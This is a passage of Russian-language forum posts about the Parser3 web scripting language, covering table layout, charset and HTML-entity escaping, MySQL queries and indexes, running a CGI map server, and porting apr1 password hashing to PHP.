Server: Apache/2.2.15 (Unix)\
Set-Cookie: uid=63902CE094C1A45B; expires=Mon, 09 Aug 2010 19:10:13 GMT; domain=; path=/\
sid=A3D5530F713B4F5F; expires=Mon, 02 Aug 2010 19:40:13 GMT; domain=; path=/\
Content-Length: 535\
Keep-Alive: timeout=5, max=100\
Connection: Keep-Alive\
Content-Type: text/html; charset=WINDOWS-1251"
"73217","Переписал класс, пробовал куку с доменом, срок по умолчанию и с моей расчёткой, но в конце концов заработало как написано вначале было!\
Может, где пробел-табуляцию добавил...\
Шаманство какое-то ;)\
Всем спасибо, тема закрыта."
"73218","Работает :-) Только тут он строит текст так:\
\
[code]\
--------------------------\
| link1 | link 2 | link3 |\
--------------------------\
| link4 | link 5 | link6 |\
--------------------------\
| ..... | ...... | ..... |\
--------------------------\
[/code]\
\
\
А как сделать так?\
\
[code]\
----------------------------\
| link1 | link 31 | link62 |\
----------------------------\
| link2 | link 32 | link63 |\
----------------------------\
| ..... | ....... | ...... |\
----------------------------\
[/code]"
"73219","При открытии скаченного файла Excel ругается: \"Действительный формат открываемого файлы (price.xls)\" отличается от указываемого его расширением имени файла. Перед открытием данного файла убедитесь, что он не поврежден и получен из надежного источника. Открыть этот файл сейчас?\"\
\
Это возможно как-то обойти?"
"73221","[code]Disallow: /test/?[/code]\
\
Будет работать.\
Основной раздел под действие правила не подпадёт."
"73223","Здравствуйте, пытаюсь заставить работать Парсер с mysql но при работе выдается сообщение:\
/var/www/cgi-bin/lib/libparser3mysql.so\
driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory\
\
Скачал parser3sql_10_3_redhat73_mysql.tar.gz для 32 битной ос. Судя по всему к моей ос он не подходит и мне требуется перекомпилировать. Проблема в том что мне это сложно сделать, может есть у кого уже готовый? или кто может мне помочь в этой проблеме?"
"73224","судя по сообщению об ошибке проблема в отсутствии libmysqlclient.so по указанному вами пути (см. конфигурационный auto.p).\
\
1. узнайте у администратора путь к этой библиотеке в вашей системе и пропишите его в конфигурационный auto.p\
\
2. скачайте и установить с mysql.com готовый libmysqlclient.so для вашей системы (возможно придётся его качать вместе с mysql)"
"73225","спасибо, становил недостающие пакеты mysql и все заработало"
"73226","нужно и немного самостоятельно думать :)\
кажется, что-то в таком роде должно сработать:\
[code]\
<table>\
$iCols(3)\
$iRows(^math:floor(^tLinks.count[] / $iCols))\
^for[i](0;$iRows){\
	<tr>^for[j](0;$iCols-1){\
		$iTableOffset($j+$i+$iRows*$j)\
		^if(^tLinks.count[] > $iTableOffset){\
			^tLinks.offset[set]($iTableOffset)\
			<td>$tLinks.href</td>\
		}{\
			<td></td>\
		}\
	}</tr>\
}\
</table>\
[/code]"
"73228","Нужен программист на Parcer для доработки блоков существующего сайта. Надо добавить Форум, Аукцион и прочие блоки. \
\
Есть краткое описание и дизайн. Развёрнутого Технического Задания нет.\
\
Прежде чем дам ссылку на сайт, хочу понимать расценки. Объём работы примерно на месяц."
"73230","Оценил программист который делал сайт. Просто у него времени сейчас, но он готов всё объяснить. Оценка достоверная."
"73231","судя по http://www.obzorzarplat.ru/servis/zp/\
Условия:\
Должностная группа: \"Информационные технологии\"\
Должность: \"Старший программист\" (ну а кто еще? :) )\
Город: \"все города\"\
\
[quote]Все данные отображаются в российских рублях и показывают доход сотрудника после налогообложения (на руки). [/quote]\
Итого: [b]51 199,17 руб.[/b]\
\
+небольшой демпинг. Возьмусь за [b]50 000 руб.[/b] :)"
"73233","...да и поисковики вниманием не обделяют. Техподдержка божится что все зоны подняты и всё тик ток.\
\
Ещё я вот чего не могу понять.\
Вот это не выдает ошибку:\
\
$file[^file::load[binary;http://www.parser.ru/i/logo.gif]]\
\
А это - выдает:\
\
$file[^file::load[binary;http://www.ixbt.com/short/images/2010/Aug/intel-atom-logo.jpg]]\
\
Т.е. по данной мне тут информации выходит что с доменом ixbt.com парсер ресолвит мой хост, а вот при обращении к домену parser.ru - не может? Почему?\
\
Как-то всё это непонятно. Может есть какие-то альтернативные способы загрузки файлов на севрер?"
"73234","... и если она работает нормально, то проблем быть не должно. В вашем случае что-то идет не так. Лучше всего проверить, что происходит через консоль на сервере командами nslookup, wget и пр.\
\
p.s. Вы не написали какую ошибку теперь выдает Парсер. Все также \"can not resolve hostname\"?"
"73235","попробуйте из консоли вашего сервера, просто попинговать проблемные домены для начала, потом воспользуйтесь советов ниже для выявления узкого места, через nslookup"
"73236","Закоммичено в HEAD. Активируется после завершения конструктора, защищен от рекурсивного вызова, аналогичная защита от рекурсии добавлена в @GET_DEFAULT. Да, и приведенный пример можно проще реализовать:\
\
[code]@SET_DEFAULT[name;value]\
  ^if(^isValidName[$name]){\
    $$name[$value]\
  }{\
     ^throw[Недопустимо создание данного поля!]\
  }[/code]\
\
В такой реализации проверка вызывается только при первичной записи в поле объекта."
"73237","Какие перспективы его появления под парсер?"
"73238","... поскольку Mongo не nosql база, а драйверы не рассчитаны на работу без sql-запросов. Крайне сомнительно, что такой класс появится, пока кому-нибудь из разработчиков Парсера перестанет хватать реляционных хранилищ данных.\
\
Тем не менее вариант для работы есть уже сейчас: для Mongo есть [url=http://www.snailinaturtleneck.com/blog/2010/02/22/sleepy-mongoose-a-mongodb-rest-interface/]REST-интерефейс[/url], который позволяет прямо на Парсере написать работу с базой. Более того, в текущей бете 3.4.1 появится работа с libcurl (уже есть в cvs-head) и нативный парсинг JSON'а, что сильно упростит задачу. :)\
\
p.s. А еще надо подумать, стоит ли прямо сейчас гнаться за модой на \"nosql\" - 99,999% всех задач веб-разработки отлично ложится на реляционные базы. Я уже не говорю про то, что совсем недавно вышла версия 1.6 Монго, которую можно считать \"условно годной\" для продакшна."
"73239","Не бесплатно конечно.\
Надо под fedora и mac os."
"73240","Спасибо, буду пока пробовать через REST и ждать 3.4.1\
Конечно хотелось бы полноценной поддержки монго в парсере в виде класса (разработчики, ауууу), потому что это явно будет удобней и побыстрее, чем REST или libcurl."
"73241","а мне нужно:\
1. поддержка CUBRID\
...\
...\
...\
195. все функции из PHP\
\
и что, когда же вы это все сделаете? :)))\
\
уж не знаю, зачем вам понадобились такие задачи, но это (ИМХО) - погоня за чем-то непонятным..."
"73242","Александр, это не погоня за чем-то непонятным, не судите по себе, у всех свои задачи.\
Читайте внимательней, выше предложено написать решение за деньги.\
Честно скажу, лично мне меньше всего хочется решать задачу на grails или php, только из-за того, что 3.4.1 будет неизвестно когда. \
\
И незнаю как вам, но лично мне особого удовольствия не доставляет, когда часть проекта приходится делать на php, из-за банального \"а парсер такое не может\"."
"73243","Поскольку это специализированный язык-фреймворк, который имеет вполне конкретную концепцию и делать из него язык общего назначения никто не собирается. Но вызвать программу на Питоне, Си или обратиться к веб-сервису Парсер вполне в состоянии - поэтому фраза \"а парсер такое не может\" вообще не имеет сымсла.\
\
Что касается версии 3.4.1, то ждать ее не нужно - она уже сейчас доступна любому желающему - достаточно собрать ее из исходников cvs-head (заодно поможете с тестированием и ускорите релиз). Версия очень стабильная - я использую свежие сборки на продакшн-серверах уже больше полугода без каких-либо проблем. Работа с libcurl достаточно муторная, поэтому, чтобы не разбираться со всеми тонкостями можно использовать класс [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.p]pfCFile[/url] [[url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.txt]описание параметров[/url]]."
"73245","если использую в тексте специальные символы то приходится делать ^untaint[as-is]{текст} (например, использую: &trade;-знак торговой марки или &copy;-  знак копирайта и т.д.). Мне кажется правильным было бы их включить в таблицу преобразований \"html\" и/или \"html-optimized\" ведь это же \"легальные\" символы! А так из-за единственного символа в тексте приходится \"рисковать\" всем файлом..."
"73246","... тем более, что \"&copy;\" и \"&trade;\" - это не символы, а наборы символов, и Парсер эскейпит небезопасный символ \"&\" из этих наборов. А с UTF таких прболем нет вообще, поскольку знак копирайта в них является действительно одним символом (хоть и многобайтовым)."
"73247","С переездом на новый хостинг возникла проблема - база у хостера в UTF а сайт настраивался и работал в 1251.\
\
Данные в базу залили и в 1251. В конфигурациоом файле Parser-а указали\
[code]$request:charset[windows-1251]\
$response:charset[windows-1251] [/code]\
\
Все модули сайта работают в рамках одного SQL-соединения:\
[code]\
$SQL.connect-string[${db}://${sql_config.user}^if(^sql_config.passwd.length[] > 1){:${sql_config.passwd}}@${sql_config.host}/${sql_config.base}]\
\
^use[MySqlComp.p]\
$oSql[^MySqlComp::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[/../data/sql_cache]\
	$.dCacheInterval(1/24)\
]]\
\
^use[auth.p]\
$auth[\
	^auth::init[\
		$cookie:CLASS;\
		$form:fields;\
		$.csql[$oSql]\
		$.oSql[$oSql]\
	]\
]\
\
^oSql.server{\
	^oSql.void{SET NAMES cp1251}\
	^content[]\
}\
[/code]\
\
Где ^content[] выводит данные страницы и по идее, все данные должны прихродить в cp1251. Однако, в результате модуль авторизации \"выбивается\" - он при любом раскладе вытаскивает все в UTF:\
[url=\"http://model-car.ru/index_.html\"]http://model-car.ru/index_.html[/url]\
\
Что делать?"
"73248","Может я неправильно выразился ... UTF-8 это понятно, но, все-равно, например как быть с &nbsp;? \
\
Например есть некий шаблон сайта в который вставляется динамическое содержимое (текст), как это обычно делают, из Базы Данных или еще каким-либо способом. Так вот в этом ракурсе никто не запрещал такие символы и они также легальны. И от кодировки это не должно зависеть. Мне кажется логично."
"73249","Если писать сайт и шаблоны в UTF-8, то никаких nbsp, copy и пр. мусор не понадобится."
"73250","Если она явно не задана, то сервер будет считать, что там все лежит в дефолтной кодировке, т.е. в UTF-8."
"73251","можно попробовать указать явную кодировку при конекте к SQL\
http://www.parser.ru/docs/lang/app3mysql.htm"
"73252","парсер запрещает вывод не НЕвалидных конструкций, а конструкций, введённых пользователем. \"языки\" лишь говорят _как_ он их запрещает в каждом случае (он их не выкидывает, а преобразовывает).\
\
тот-же '&' не трогается при отдаче его sql серверу.\
\
P.S. про ваш случай с шаблоном я вообще не понял. если вы его написали сами, то там не будет делаться никаких замен. если вы его грузите из файла и вы знаете что там написанный вами шаблон -- то просто \"пометьте\" его весь как as-is."
"73253","Вот тут:\
http://www.parser.ru/docs/lang/?imagepolybar.htm\
\
переменная называется rectangle_coordinates,\
а на самом деле там координаты [i]треугольника[/i]"
"73255","Спасибо, что напомнили.\
Я пробовал это и раньше, но оно не работало и я ее отключил. Однако, видимо что-то после этого накрутил и сейчас, я решил попробовать (мало-ли) это еще раз - заработало."
"73257","А не подскажете, можно ли с помощью методов рисования класса image получить прозрачный пиксель?"
"73259","Что &nbsp;, что &trade;, что &copy; - все это символы, с точки зрения вывода в браузер. Если абстрагироваться, то просто в некоторых кодировках (одно-байтовых) их приходится передавать комбинацией из нескольких символов. Это типа псевдо-UTF-8. Конечно это я огрубляю, но смысл я думаю понятен."
"73260","Должен сказать, что Parser достаточно гибок, и мне даже не приходится, частенько, задумываться над такими понятиями как валидно это или нет. Все автоматически правильно интерпретируется. Но все-таки, я думаю, было бы логично включить в таблицу HTML/HTML-optimized комбинации спецсимволов отдельно. А то из-за того, что в тексте встречаются такие комбинации весь кусок приходится помечать как as-is, т.е. открывается лазейка для взломов.\
Было бы хорошо иметь возможность самому расширять таблицу taint/untaint или, еще лучше, вводить custom таблицы преобразований.\
Но это в том случае если taint/untaint позволяет \"парсить\" не только на уровне отдельных символов, но и на уровне сочетаний символов."
"73261","если хотите разобраться -- попробуйте перечитать документацию и примеры про это.\
\
P.S. &nbsp; & Co -- это НЕ символы, это entity. попробуйте и в их предназначение вникнуть чуть глубже."
"73262","в большинстве случаем &nbsp; съедается вполне удачно, но если вокруг его вставки идет какая-то функция/метод то нарываемся на ;"
"73263","А как определить ещё стоимость?"
"73264","Например как-то так если я не ошибаюсь :\
[code]\
@h[tag]\
$result[^untaint{&${tag}^;}]\
\
@main[]\
\
<html>\
....\
^h[nbsp] ^h[copy] \
вроде не так уже усложняет жизнь... а работает...\
\
\
\
\
[/code]"
"73265","Гуру Парсера к вам взываю.\
\
Небольшое отступление.\
\
Тут посмотрел скринкасты Pylons ниче блин особенного, даже я бы сказал ерунда - собрали в кучу чужие либы тяп ляп и готово...\
роутинс урлов - сомнительная идея...\
шаблонизатор в котором надо писать __M_write(escape[...])\
то есть посути нативный питоновский код + конструкции шаблонизатора... да еще и эскейпнуть не забыть, а забудешь экскейпнуть и словишь XSS... - это мне кажется вообще на фреймворк не тянет... про якобы контроллеры и MVC я молчу. Вся якобы красота только по сути в SQL Alchemy и то я сильно не вникал, но бьюсь об заклад сложные структуры все равно оно магией не закроет и придется писать запросы, да и глупо как-то SQL и так создан как формализованный язык доступа к реляционным данным если отбросить присущие конкретным БД особенности.\
\
Короче я за неделю на коленках собрал под себя \"быдло CMS\" и скажу я вам оно засчет встроенных парсеровских вещей типа taint'ов и иерархического перекрытия auto.p выглядит даже получше... Там я конечно пару базовых классов сделал типа авторизация с ролями, рекурсивное меню, формы и таблицы и работа с временными зонами - вообщем особо гордится нечем. Хотел уже бросать \"игрушки\"...\
Но после просмотра Pylons что-то снова вдохновился... хочу сделать поделку, но авось выгорит. Так сказать дать \"пинка\" всем этим Джангам =) со своими ОРМ за счет лаконичной концепции. Если положить на весы шаблонизацию как часть превращения модели в html-код то она часто и многое отъедает в фреймворков, а Парсер все таки компиленный бинарник... а если прибавить наличие гибкого ^cache{} на борту то и вообще интересно. Я вот читал как кто-то ломал себе голову с валидацией кеша на Джанге... \
\
- вообщем есть одна идея как сделать нечто высокоуровнение по гибкости и скорости развертывания и в тоже время быстрое и непрожорливое... есть своя NoSQL-модель данных даже которая оправдана по скорости на сложных выборках и больших массивах.\
\
А был вопрос такой:\
1) Первый решит стратегию пути по слою данных - могу я каким то образом без вмешательства в исходники Парсера сохранить объектную структуру на диск? Типа pickle в Питоне? Или часть структуры. Конкретно - hash, filehash не подходит - он одновложенный... мне надо дешево реализовать запись и подгрузку объектов которые могут содержать либо контент либо быть ссылками на объект/ы - короче 1:1 как хеш. Я бы redis какой нить заюзал но у парсера никогда интерфейса к нему не будет... а писать через другой язык связку уже совсем костыль...\
не говорите про порочность пути тут не то, что вы думаете, мне нужна сетевая модель данных в памяти лучше и быстрее чем указатели и переменные наверное не придумаешь."
"73266","Уважаемы монстры и гуру парсера объясните как побороть проблемму...\
есть пользовательский класс (например class1), внутри класса есть метод (metod1) в котором формируется таблица, далее\
@metod1[]\
^connect[$connect_string]{$таблица1[^table::sql{\
SELECT .....\
}]}\
^таблица1.menu{\
работаем с данными таблицы\
^metod2[]\
}\
\
@metod2[]\
вычисляем переменные\
$перемнная1(работаем с $таблица1.столбец1)\
$перемнная1(работаем $таблица1.столбец2)\
^connect[$connect_string]{$таблица2[^table::sql{\
SELECT .....\
WHERE\
поле1=$перемнная1\
поле2=$перемнная2\
}]}\
работаем с данными таблицы, результат работы возвращается в \
metod1\
\
так вот, не смотря на то что $таблица1.столбец1 и $таблица1.столбец2 меняются при переборе строк таблицы $перемнная1 и $перемнная2 не меняются и соответственно таблица2 тоже не меняется и в результате работы кода постаянно отдается одно и то же... Что я не так делаю? Заранее спасибо всем ответившим."
"73267","method2 ничего не знает о состоянии таблицы1 в method1. Передайте ему текущую строку:\
[code]@method1[]\
^table1.menu{\
  работаем с данными таблицы\
  ^metod2[$table1.fields]\
}\
\
@method2[hFields]\
^connect[$connect_string]{\
  $таблица2[^table::sql{\
    SELECT .....\
    WHERE\
     поле1=$hFields.столбец1\
     поле2=$hFields.столбец2\
}]}[/code]\
\
P.S. вы уверены, что данный код не стоит реализовать на самом mysql с помощью JOIN?\
P.P.S. второй ^connect[] здесь не нужен, если конечно строка подключения не разная"
"73268","Не помогло, проблемма была в логике цикла while... но информация все равно полезная..."
"73269","скорее всего при написании сообщения в форум вы упустили какую-то важную деталь, т.к. в общем всё было корректно (хотя и не совсем красиво)"
"73270","без вмешательство в исходники сохранить произвольную структуру на диск невозможно.\
\
если ограничиться системными классами, то можно написать методы сериализации/десериализации, которые правда будут не очень быстры.\
\
в будущей версии будет поддержка json, который в принципе можно будет использовать как универсальный сериализатор/десериализатор системных объектов, но поддержка произвольных пользовательских объектов всё равно будет на разработчике."
"73271","Спасибо Вам большое, работает ;-)"
"73272","А когда выйдет версия с json?\
Да в принципе, пользовательные объекты и не горит и не надо, да\
и системные классы тоже.. я бы обошелся многомерным хешем и тут как раз json по сути помогает."
"73275","При удачном положении звезд на небе. :)\
А релиз, 3.4.1 - еще нескоро, вероятно к концу года."
"73276","[code]@applyEntities[sText]\
$result[^sText.replace[^table::load[entities.dat]]][/code]\
\
Дальше работаете как с UTF-8-текстом безо всяких сущностей.\
Таблицу, разумеется, можно дополнять / урезать по необходимости, сейчас там 248 сущностей.\
\
По идее, если response не в UTF-8 или очень хочется видеть entities в HTML, можно произвести и обратную замену после работы с текстом…\
\
[url=\"http://parser.groundzero.ru/entities.dat\"]Таблица замен[/url]."
"73277","Как сделать так, чтобы берущийся адрес картинки из rm.cfg выводил в итоге картинку.\
[code]@gen-text[]  \
$filename[/rm.cfg]\
\
$table[^table::load[$filename]]                    \
^table.sort{^math:random($table)}\
<p class=\"love\">\
	^table.menu{$table.name}[, ]\
</p>[/code]"
"73278","в вашем случае если имя включает путь:\
[code]^table.menu{<img src=\"$table.name\" />}[<br />][/code]"
"73279","Спасибо! Это именно то что я и имел ввиду."
"73280","Можно-ли заставить работать такую конструкцию?\
\
\
$ext[^form:ext.split[,;lv;ext]]\
$ext_if[^ext.menu{(^$ext eq '$ext.ext')}[ || ]]\
^if($ext_if){zzz}\
\
PS Через process тоже не получилось :((("
"73281","У меня среди обычного текста во всем переборе встречается адрес картинки (или два) и картинку как раз надо вывести корректно. Все остальное кроме адреса вида <img src=\"…\"> — обычный текст."
"73282","и menu нужно тоже обернуть if-ом, т.к. он может быть пустым"
"73283","1. вы забыли сказать что менюшите текст\
2. забыли указать картинка встречается в тексте или самостоятельной строкой?\
3. так же не сказали что картинка уже обернута тегом\
\
если хотите чтобы вам помогли, пишите задачу с примером текста"
"73284","не то. мне не надо проверять ext_if. \
в $ext_if формируются условия типа: [b]($ext eq 'html') || ($ext eq 'p') || ($ext eq 'paj')[/b]\
\
а при выполнении:\
[code] ^if($ext_if){}[/code]\
\
парсер ругается:\
[b]Unhandled Exception (Debug)\
\
invalid number (double)\
\
($ext eq 'html') || ($ext eq 'p') || ($ext eq 'paj')[/b]"
"73285","[code]@gen-text[]  \
$filename[/rm.cfg]\
$table[^table::load[$filename]]                    \
^table.sort{^math:random($table)}\
<p class=\"love\">\
	^table.menu{$table.name}[, ]\
</p>[/code]\
\
[code]name\
Санкт-Петербург\
акриловые краски\
небо на закате\
иконки <img src=\"http://vovavova.ru/work/i/avalanche.jpg\"\
бумагу[/code]\
\
\
вот в перечислении и встречается адрес картинки."
"73286","что вы проверяете такой конструкцией\
[code]^$ext eq '$ext.ext'[/code]\
$ext — таблица и код выдаст ошибку.\
\
Подозреваю, что это опечатка и вы хотите проверить некое значение на вхождение в список.\
Тогда варианты:\
1. хэш вариантов и ^if($хэш.$значение) или ^if(def $хэш.$значение) (если значения хэша строки);\
2. таблица, по аналогии с имеющейся у вас, и ^if(^таблица.locate[ext;значение]);\
3. перебор и установка переменной в цикле с последующей проверкой, поможет для сложных проверок, если не устроили первые два варианта."
"73288","из-за названия переменной путаница - переименовал\
$form:ext cодержит[html,p,xxx]\
\
[code]$ext[^form:ext.split[,;lv;ext]][/code]\
$ext =\
html \\n\
p \\n\
xxx \\n\
\
[code]$ext_if[^ext.menu{([b]^$aaaa[/b] eq '$ext.ext')}[ || ]][/code]\
ext_if получился [b]($aaaa eq 'html') || ($aaaa eq 'p') || ($aaaa eq 'xxx')[/b]\
и теперь из всего этого хочу сформировать запрос\
^if(($aaaa eq 'html') || ($aaaa eq 'p') || ($aaaa eq 'xxx')){zzz}\
\
[code]^if($ext_if){zzz}[/code]\
 \
а парсер ругается :("
"73290","[quote]\
и теперь из всего этого хочу сформировать запрос\
[/quote]\
\
нет, вы не хотите формировать такой \"запрос\" :)\
перечитайте ещё раз [URL=/forum/?id=73286]сообщение G_Z[/URL]. там упомянуты инструменты, которые лучше всего подходят для вашей задачи. и причем без извращений с генерацией кода.\
\
P.S. переформулирую вашу задачу: \"надо определить, содержится ли значение, находящееся в переменной в имеющемся списке\"."
"73292","Судя по тому, что читали и обратились за готовым решением такого примитивного вопроса — прочитанного вы не поняли.\
Разберитесь с этим вопросом, он важен.\
\
Подсказка: в вашем наборе данных содержатся значения, которые по умолчанию расцениваются как «грязные» и соответствующим образом преобразуются при выводе в браузер.\
Вам нужно сказать Парсеру, что данным можно доверять и не нужно производить замен."
"73293","К сожалению, я понимаю важность вопроса грязного и чистого, но поэтому и спрашиваю. Естественно, тут разговор сводится сейчас в taint и мне придется разбираться самому."
"73294",">Вам нужно сказать Парсеру, что данным можно доверять и не нужно производить замен.\
Спасибо! Именно за этим я сюда и обратился. Где ему об этом сказать?\
Да, я прошу мне не тыкнуть в фак, а написать буквально: понедельничный тупняк."
"73296","просто я не посчитал нужным приводить большой кусок кода в форум, а выложил только только тот кусок который по моему мнению не работал... сорри..."
"73297","Есть таблица. в ней определенное кол-во столбцов но выборка идет по двум \"модель\" и \"цена\". В таблице например 100 записей в графе \"цена\" цифры колеблятся от 10000 до 100000. Задача отобрать определенное киличество записей справа и слева от текущей цены. Например цена 50000, надо отобрать 3 записи из тех что меньше текущей цены от 0% до 5% и соответственно 3 записи из тех что больше текущей цены от 0 до 5%. Но в таблице допустим 20 записей попадают в диапазон меньшеот 0 до 5% и всего 1 запись в диапазоне большем от 0 до 5%. соответственно надо уменьшить диапазон меньше и увеличить больше. В принципе догадываюсь что задачу можно разделить на два этапа и решить поотдельности. Но может это можно как-то реализовать средствами MySQL что бы не городить огород целой кучей условий? Заранее спасибо за ответ."
"73298","Программист также должен знать MySql, уметь работать с базами данных. В идеале, хотелось бы посмотреть код и портфолио. \
\
Проект интересный."
"73300","вам не нужны проценты.\
\
вам нужно два запроса.\
у одного цена>заданной, order by цена, limit X\
у другого цена<заданной, order by цена desc, limit X\
\
P.S. не забудьте про необходимые индексы"
"73302","Спасибо, ну примерно так и предполагал, думал может можно одним запросом решить... А можно про индексы подробнее если не сложно? А то у меня как то с ними проблематично, по всей базе индексы стоят только на auto_increment столбы..."
"73303","Так из командной строки работает - \
[code]\
./mapserv -nh \"QUERY_STRING=map=/usr/local/www/ar2/fad.map&LAYERS=budivli&SERVICE=WMS&VERSION=1.1.1&REQUEST=GetMap&STYLES=&EXCEPTIONS=application/vnd.ogc.se_inimage&FORMAT=image/jpeg&SRS=EPSG:32637&BBOX=6000.0000,76449.7700,13224.8850,83674.6550&WIDTH=256&HEIGHT=256\" > pic.jpg\
[/code]\
\
а реализация на parser не работает:\
[code]\
$string[QUERY_STRING=map=/usr/local/www/ar2/fad.map&LAYERS=budivli&SERVICE=WMS&VERSION=1.1.1&REQUEST=GetMap&STYLES=&EXCEPTIONS=application/vnd.ogc.se_inimage&FORMAT=image/jpeg&SRS=EPSG:32637&BBOX=BBOX=6000.0000,76449.7700,13224.8850,83674.6550&WIDTH=256&HEIGHT=256]\
\
$fm[^file::cgi[binary;/usr/local/www/cgi-bin/mapserv;-nh;$string]]\
[/code]\
в логах \
[code] 'cgi' output does not contain CGI header; exit status=254; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [file.execute] [uri=, method=GET, cl=0][/code]\
\
и такое впечатление что не отрабатываются ключи \"-nh\" которые в mapserver отключают необходимость в CGI headers\
\
\
при использовании вместо \"cgi\" \"exec\" то в логах вообще пусто но впеременную $fm тоже ничего не поступает.\
\
Что не так?\
\
Дополнение: Используется Parser в качестве интерпретатора скрипта"
"73304","http://dev.mysql.com/doc/refman/5.0/en/create-index.html\
Вы уж извините, но работать с SQL данными и не иметь минимального понятия об индексах и их влиянии..."
"73305","Вы не поверите все работает уже как почти год ;) в базе полсотни таблиц, не знаю сколько записей в этих таблицах, но порядком, с ней работают два сайта и учетная система, и вобщем-то никогда не было особой необходмиости в индексах поэтому до сего момента к своему стыду ничего по этому поводу не читал. Принцип построения реляционных баз очень простой, язык запросов тоже и собственно на мой взгляд не надо быть семи пядей во лбу что бы с этим работать... Поэтому собственно и попросил немного подробностей что бы знать куда копать... С английским напряженно, но думаю перевод найду самостоятельно, вопрос то собственно можно перефразировать примерно так: что дают индексы и зачем они вообще нужны?"
"73306","ну если в кратце скорость выборки.\
Индексы нужны там, где происходит выборка по этим полям. Например в вашем случае он просто жизненно необходим на цене. попробуйте сделать запросы которые предложил Михаил, а потом добавьте индексы на цену и опять повторите. Лучше всего делать и в консоли чтоб увидеть скорость обработки запроса."
"73307","Таже методом тыка можно было двумя разными способами\
[code]\
^untaint{\
Санкт-Петербург\
акриловые краски\
небо на закате <img src=\"\">\
}\
\
и\
\
^taint[as-is][\
Санкт-Петербург\
акриловые краски\
небо на закате <img src=\"\">\
]\
\
[/code]\
\
как бы случайно получить картинку, а вообще текст \
Санкт-Петербург, акриловые краски, небо на закате <img src=\"\">\
и <p class=\"love\"> напоминает мне SEO-спамерские цели...\
как я ненавижу черныз SEOшников, изгадивших Интернеты"
"73308","По MySQL куча доков на русском.\
Это просто лень человеческая. Между прочим нормально описано все и читается не напряжно. Вы пугаете :) Я себе представил что при таком уровне знаний о вебе и бд как там чертыхается система учета.\
\
P.S.: Понедельничный троллинг, простите - наболело."
"73311","после имени файла в file::exec/cgi должен быть хеш с env, а уже потом -- argv."
"73313","Я правильно понял? env хеш задает переменные среды которые нужны для работы именно cgi программы?\
[code]\
$string[QUERY_STRING=map=/usr/local/www/ar2/fad.map&LAYERS=budivli&111SERVICE=WMS&VERSION=1.1.1&REQUEST=GetMap&STYLES=&EXCEPTIONS=application/vnd.ogc.se_inimage&FORMAT=image/jpeg&SRS=EPSG:32637&BBOX=20449.7700,76449.7700,27674.6550,83674.6550&WIDTH=256&HEIGHT=256]\
$string\
$env_hash[\
    $.QUERY_STRING[$string]\
    $.REQUEST_METHOD[GET]\
       ]\
$fm[^file::exec[binary;/usr/local/www/cgi-bin/mapserv;$env_hash;-nh]]\
- $fm.text -\
[/code]\
В таком варианте тоже не работает - $fm.text пустой, и по времени работы вижу что mapserv не отрабатывает\
Пишет только 254 (т.е $f.status)\
$f.stderr и $f.text пустые\
\
Помогите разобраться:\
сам mapserv сугубо cgi приложение. \
на запуск из командной строки отвечает :\
[quote]This script can only be used to decode form results and\
should be initiated as a CGI process via a httpd server.\
[/quote]\
в доке по нему написано, что бы запустить из командной строки нужно указать ключи -nh и строку запроса запихнуть в переменную QUERY_STRING самого приложения [url=\"http://mapserver.org/cgi/mapserv.html\"]ссылка[/url]\
\
Я совсем запутался, помогите!\
может не хватает конкретных переменных среды?"
"73314","нет, вы поняли неправильно.\
\
я не предлагал использовать вам гремучую смесь из env+argv. я имел в виду, что если вы используете argv, то надо поставить дополнительную точку с запятой, а то вашему скрипту \"-nh\" не передавалось, т.к. он подставлялся в то место, где парсер ожидает видеть хеш env (третий параметр, а argv начинаются с четвертого, гляньте в доку).\
\
но не суть. я тогда не обратил внимания на путь к скрипту, а зря.\
ошибка в нём.\
254 -- \"файл не найден\"\
пути у парсера НЕ абсолютные, а относительные. от текущего обрабатываемого документа. начальный '/' означает \"корень веб пространства\".\
если вам нужны абсолютные -- используйте sh-wrapper."
"73315","Сначала сделал sh-wrapper по совету из [url=\"http://www.parser.ru/forum/?id=63524\"]этой[/url] ветки - заработало\
 \
Вот не думал что тонкость \"пути у парсера НЕ абсолютные, а относительные. начальный '/' означает \"корень веб пространства\".\"\
действует и в консоли.\
Вот теперь разобрался с параметрами exec и работает.\
здесь не стал играться с путями и положил mapserv рядом со скриптом.\
Спасибо!\
\
Доп. вопрос:\
Когда выполняется консольный скрипт, он отрабатывает полностью все и только потом выдает весь ответ сразу.\
есть ли возможность постепенного вывода информации о ходе работы скрипта?\
Например: генерация 10000 графических файлов. в скрипте я указываю вывести номер текушего файла.\
сейчас он мне выдает все скопом только после того как полностью выполнит работу скрипта.\
Как то можно выводить инфу в процессе выполнения?"
"73316","Изначально в базу вставлялся хэш пароля\
$pass[^math:crypt[^pass.lower[];^$apr1^$]]\
Сравнении шло как обычно\
---\
^if(^math:crypt[$pass;$table.pass] eq $table.pass){1}{0}\
----\
\
На php есть аналогичная функция crypt\
но сравнение не проходит\
if(crypt($pass, $row['pass']) == $row['pass'] ) echo 1; else echo 0;\
\
---\
Ктонибудь сталкивался с переносом?"
"73317","Я так понял crypt php понимает только сальт $1$ \
Если учесть что парсер для $1$ и $apr1$ использует одно и тоже шифрование, то можно заменить из базы $apr1$ на $1$ для того чтобы cryp php корректно воспринял сальт.\
\
Вприцнипе не помогает.\
В базе: $apr1$Uiixt1v8$s1Qrr9QOd3qhG8jtKoaae\
Crypt пароля с сальтом $apr$Uiixt1v8$s1Qrr9QOd3qhG8jtKoaa\
$a6V0k747NkAo\
Crypt пароля с сальтом $1$Uiixt1v8$s1Qrr9QOd3qhG8jtKoaa\
$1$Uiixt1v8$EUx48QdIoZwYSf5gx17vG0"
"73318","Спасибо за ответы )\
Может кому пригодится\
------\
function crypt_apr1($plainpasswd, $salt=\"\") {\
    if($salt==\"\") $salt = substr(str_shuffle(\"abcdefghijklmnopqrstuvwxyz0123456789\"), 0, 8);\
    else $salt=substr($salt,6,8);\
    $tmp=\"\";\
    $len = strlen($plainpasswd);\
    $text = $plainpasswd.'$apr1$'.$salt;\
    $bin = pack(\"H32\", md5($plainpasswd.$salt.$plainpasswd));\
    for($i = $len; $i > 0; $i -= 16) { $text .= substr($bin, 0, min(16, $i)); }\
    for($i = $len; $i > 0; $i >>= 1) { $text .= ($i & 1) ? chr(0) : $plainpasswd{0}; }\
